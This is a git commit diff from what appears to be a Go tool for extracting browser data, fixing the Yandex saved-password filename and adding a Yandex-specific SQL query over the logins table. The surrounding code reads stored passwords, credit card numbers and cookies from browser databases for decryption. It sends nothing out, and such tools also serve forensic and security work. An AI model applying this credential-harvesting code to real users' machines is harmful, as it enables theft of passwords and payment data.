fix: wrong yandex password filename

pull/121/head
ᴍᴏᴏɴD4ʀᴋ 3 years ago
parent d65c0ca068
commit 6928944b53
  1. 1
      internal/browingdata/browsingdata.go
  2. 3
      internal/browingdata/password.go
  3. 2
      internal/item/filename.go

@ -71,6 +71,7 @@ func (d *Data) addSource(Sources []item.Item) {
const ( const (
queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards` queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards`
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
queryYandexLogin = `SELECT action_url, username_value, password_value, date_created FROM logins`
queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls` queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads` queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads`
queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies` queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`

@ -86,7 +86,7 @@ func (c *YandexPassword) Parse(masterKey []byte) error {
} }
defer os.Remove(item.TempYandexPassword) defer os.Remove(item.TempYandexPassword)
defer loginDB.Close() defer loginDB.Close()
rows, err := loginDB.Query(queryChromiumLogin) rows, err := loginDB.Query(queryYandexLogin)
if err != nil { if err != nil {
return err return err
} }
@ -106,6 +106,7 @@ func (c *YandexPassword) Parse(masterKey []byte) error {
encryptPass: pwd, encryptPass: pwd,
LoginUrl: url, LoginUrl: url,
} }
log.Debug(login)
if len(pwd) > 0 { if len(pwd) > 0 {
var err error var err error
if masterKey == nil { if masterKey == nil {

@ -11,7 +11,7 @@ const (
fileChromiumBookmark = "Bookmarks" fileChromiumBookmark = "Bookmarks"
fileChromiumLocalStorage = "chromiumLocalStorage" fileChromiumLocalStorage = "chromiumLocalStorage"
fileYandexPassword = "Ya PassMan Data" fileYandexPassword = "Ya Passman Data"
fileYandexCredit = "Ya Credit Cards" fileYandexCredit = "Ya Credit Cards"
fileFirefoxKey4 = "key4.db" fileFirefoxKey4 = "key4.db"

Loading…
Cancel
Save